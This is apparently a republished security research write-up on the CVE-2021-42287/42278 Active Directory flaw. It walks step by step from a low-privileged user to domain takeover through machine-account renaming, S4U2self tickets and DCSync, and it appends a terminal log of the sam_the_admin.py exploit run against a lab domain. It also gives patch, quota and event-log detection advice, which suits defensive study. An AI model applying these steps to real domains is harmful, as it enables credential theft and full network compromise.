This process involves modifying the altSecurityIdentities attribute of an account in a foreign domain to Kerberos:[samaccountname]@[domain] to impersonate that user.
So below you can see a low privileged user (internal.user) of the local doamin (internal.zeroday.lab) has GenericAll over a high privileged user (external.admin) of a different domain (external.zeroday.lab):
As this user we can add ourselves to the altSecurityIdentities attribute as shown below:
Now we can get a TGT from our local DC and request it without a PAC using the new /nopac
switch:
This results in an obviously small TGT. We then use that TGT to request a referral to the target domain (external.zeroday.lab) from our local DC:
That referral can then be used to request ST’s for services on our target domain (external.zeroday.lab). Here I’m requesting a ST for LDAP/EDC1.external.zeroday.lab the DC’s LDAP service:
The size of the ST is very large compared to the previous 2 tickets, this is because (as we’ll see) a PAC has been added. As shown in the klist output below, this ST is for the original user internal.user which has no special privileges on either domain:
Using this ST, however, we can DCSync:
So what happened here is the DC has searched for the account in the local database, it hasn’t found it so it’s then searched to see if any accounts have this account listed in their AltSecurityIdentities attribute, which external.admin does because we added it earlier, and if so, the DC adds a PAC belonging to that account. This can be verified using Rubeus’ describe
command and the AES256 key we just DCsync’d:
We now effectly have the privileges of the external.admin user on the external.zeroday.lab domain.
This didn’t help us exploiting the issue we wanted but I did find it interesting.
Some Progress
Then along came this tweet from Clément Notin which actually mentioned the Samba information regarding these issues and led me to CVE-2020-25719 and this patch. What particularly caught my attention was this paragraph:
Delegated administrators with the right to create other user or machine accounts can abuse the race between the time of ticket issue and the time of presentation (back to the AD DC) to impersonate a different account, including a highly privileged account.
Suddenly I realised that to make the local lookup fail, we didn’t need to attack a foreign domain but perhaps remove the account after retrieving the TGT.
I started playing with naming a machine account the same as the local DC (minus the $), requesting a TGT (still without a PAC), removing the machine account and using that TGT. I noticed something funny.
When using this PAC-less TGT with a U2U request but without supplying an additional ticket, it was failing to decrypt the resulting ST:
The U2U ST should be encrypted with the session of within the provided TGT but as I didn’t provide an additional ticket I assumed it was triyng to lookup the account based on the sname which I was setting to IDC1 the samaccountname of my now missing machine account. I had the idea to try decrypting this ST using the long term key of the domain controller that I was naming my machine account after (IDC1$):
It worked! It sucessfuly decrypted the ST, it just couldn’t find the PAC because there wasn’t one there. I tried the same thing using S4U2self and got the same result, the DC was looking for my IDC1 account, not finding it and then search for the same but adding a $ on the end, finding the domain controller account and encrypting the ticket using it’s key instead.
At that time I still couldn’t figure out why it wasn’t adding the PAC, so I decided to try requesting the initial TGT with a PAC instead of without a PAC and surprisingly it worked! So apparently there was no need to request a TGT without a PAC, supplying a TGT with a PAC for an account that has the samaccountname of the DC minus the $ to a request for an S4U2self ticket, when the intial account no longer exists, results in the ST being encrypted using the key of the DC.
The sname of that resulting ST can be modified as per Alberto Solino‘s post here. So it can be used to authenticate against any service on the target box, even users protected from delegation, as Elad Shamir mentions in the Solving a Sensitive Problem section of Wagging the Dog.
The last thing to work out was how can we get a machine account in this state from a low privileged user, as until now I was manually modifying the machine account as an admin. Thankfully Kevin Robertson‘s amazing post on the Macine Account Quota helped massively. It explains that the creator of the machine account has control over various attributes including the samAccountName and ServicePrincipalName. Another problem I was running into was trying to change the samaccountname, as trying to change it to be the same as the DC minus the $, I was getting the following error:
As Kevin mentions in his post:
If you modify the samAccountName, DnsHostname, or msDS-AdditionalDnsHostName attributes, the SPN list will automatically update with the new values.
So the SPN it was trying to set was already an SPN belonging to the target DC. Ceri suggested removing the SPNs before changing the samaccountname, which worked.
Lastly, until now I was removing the machine account after requesting the TGT (which requires admin privileges), I had to test whether disabling it or renaming it worked too. Disabling it resulted in a S_PRINCIPAL_UNKNOWN error being returned by the DC when requesting the S4U2self but renaming it worked.
Finally all of the pieces were in place.
Checking If Exploitable
To exploit this requires 3 things, at least 1 DC not patched with either KB5008380 or KB5008602, any valid domain user account and a Machine Account Quota (MAQ) above 0.
To determine if a DC is patched is very easy. Using my additional /nopac
switch to Rubeus’ asktgt
, request a TGT without a PAC, if the DC is vulnerable it’ll look like the following:
Look at the size of the returned TGT. If the DC is not vulnerable the TGT will look as follows:
The size difference is immediately obvious. The next thing to check would be the MAQ:
By default it is 10 as above but can be changed, anything above 0 will do. Lastly we need to check the SeMachineAccountPrivilege which is granted to Authenticated Users by default:
If everything checks out, we can exploit this issue.
The Full Attack
The first step is to create a machine account we can use for the attack (The account I create is called TestSPN$). Kevin’s Powermad works nicely for this:
After this, PowerView‘s Set-DomainObject
can be used to clear the SPNs from the machine account:
Changing the machine account’s samaccountname can be done using Powermad’s Set-MachineAccountAttribute
(Here I’m changing it to IDC1, because the DC’s samaccountname is IDC1$):
Rubeus‘ asktgt
can be leveraged to request a TGT for that newly created machine account (This is just a normal TGT for the machine we just created but using it’s new samaccontname):
Set-MachineAccountAttribute
can again be used to change the machine accounts samaccountname (either back to what it was or something else entirely, it doesn’t matter):
With the machine account renamed, it is now possible to request an S4U2self ticket using the retrieved TGT and get an ST encrypted with the DC’s key, at the same time we can rewrite the sname within the ticket to be the LDAP service:
Here, I’ve impersonated the Administrator user for the LDAP service on the DC. It’s worth noting that this could be any user on any service on any system on the domain.
The ticket has been sucessfully injected into LSA as shown below:
Using that ticket it is now possible to DCSync:
The commands I run to do this are shown below:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
|
Mitigation / Detection
The best way to mitigate against this is to install the Microsoft patch (KB5008602), this patch fixes the issue with PAC confusion as well as fixes this issue with S4U2self created by the earlier KB5008380 patch.
Setting the Machine Account Quota to 0 is a quick and easy fix for stopping low privileged user from being able to create machine accounts, another related fix is to remove Authenticated Users from the SeMachineAccountPrivilege and adding Domain Admins or another group of allowed accounts.
There are several Events caused by various steps which would be useful for determining attempts to perform this attack. The credit for determining these Events should go entirely to Andrew Schwartz, I simply sent my logs to him after I performed the attack.
Machine Account Creation
Firstly, there is a 5156 event of an inbound connection to LDAP to create the machine account, For this event ID Andrew leveraged the research of “A Voyage to Uncovering Telemetry: Identifying RPC Telemetry for Detection Engineers” By: Jonathan Johnson:
Immediately followed by a 4673 event, which is the usage of the SeMachineAccountPrivilege:
As well as a 4741 event, describing the creation of the machine account:
And a 4724 event, regarding the password reset of the newly create machine account:
Clearing The SPNs
Next a 4742 event can be seen when the SPNs are removed from the machine account, this will show for the Service Principal Names field, as shown below:
Changing the SamAccountName
A 4742 event will also show when the SAM Account Name is changed, and the new name will be shown in the SAM Account Name field:
More interestingly, a 4781 event will show both the old account name and the new account name:
Get TGT
When retrieving the TGT, a 4768 event will show, interestingly the Account Name field will show the new name of the account, while the User ID field will show the old name:
Then the account name change happens again with the 2 events mentioned above.
S4U2self
Lastly, as Elad mentions in his Wagging the Dog post, event 4769 fires, this time, however, some discrepancy is shown between Account Name and Service Name, while the Service Name field has the proper machine account name, the Account Name is missing the trailing dollar ($):
Conclusion
With the November 9th updates, many changes were made to AD and I wouldn’t be surprised if many other avenues existed using those issues but the one I use directly from a low privileged user to full domain takeover with a default configuration.
Ensuring all DC’s are fully patched should be the main priority here as it will only take 1 unpatched DC for domain takeover to be possible.
On top of patching, proper AD hardening with decent monitoring will always minimise the impact of any compromise significantly.
all credits to : https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html
if patched it will look like below.
┌─[puck@parrot-lt]─[/opt/sam-the-admin] └──╼ $sudo python3 sam_the_admin.py "fabricorp/puck:Password1234" -dc-ip 10.10.10.193 -shell Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation [-] WARNING: Target host is not a DC [*] Selected Target fuse.fabricorp.local [*] Total Domain Admins 2 [*] will try to impersonate sthompson [*] Current ms-DS-MachineAccountQuota = 10 [*] Adding Computer Account "SAMTHEADMIN-16$" [*] MachineAccount "SAMTHEADMIN-16$" password = LFF!LZzVvjs5 [*] Successfully added machine account SAMTHEADMIN-16$ with password LFF!LZzVvjs5. [*] SAMTHEADMIN-16$ object = CN=SAMTHEADMIN-16,CN=Computers,DC=fabricorp,DC=local [*] SAMTHEADMIN-16$ sAMAccountName == fuse Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) ┌─[puck@parrot-lt]─[/opt/sam-the-admin] └──╼ $sudo ntpdate 10.10.10.193 24 Oct 11:46:53 ntpdate[4971]: step time server 10.10.10.193 offset +832.516309 sec ┌─[puck@parrot-lt]─[/opt/sam-the-admin] └──╼ $sudo python3 sam_the_admin.py "fabricorp/puck:Password1234" -dc-ip 10.10.10.193 -shell Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation [-] WARNING: Target host is not a DC [*] Selected Target fuse.fabricorp.local [*] Total Domain Admins 2 [*] will try to impersonate Administrator [*] Current ms-DS-MachineAccountQuota = 10 [*] Adding Computer Account "SAMTHEADMIN-13$" [*] MachineAccount "SAMTHEADMIN-13$" password = T3BlmtknAu5X [*] Successfully added machine account SAMTHEADMIN-13$ with password T3BlmtknAu5X. [*] SAMTHEADMIN-13$ object = CN=SAMTHEADMIN-13,CN=Computers,DC=fabricorp,DC=local [-] Cannot rename the machine account , target patched ┌─[puck@parrot-lt]─[/opt/sam-the-admin] └──╼ $
.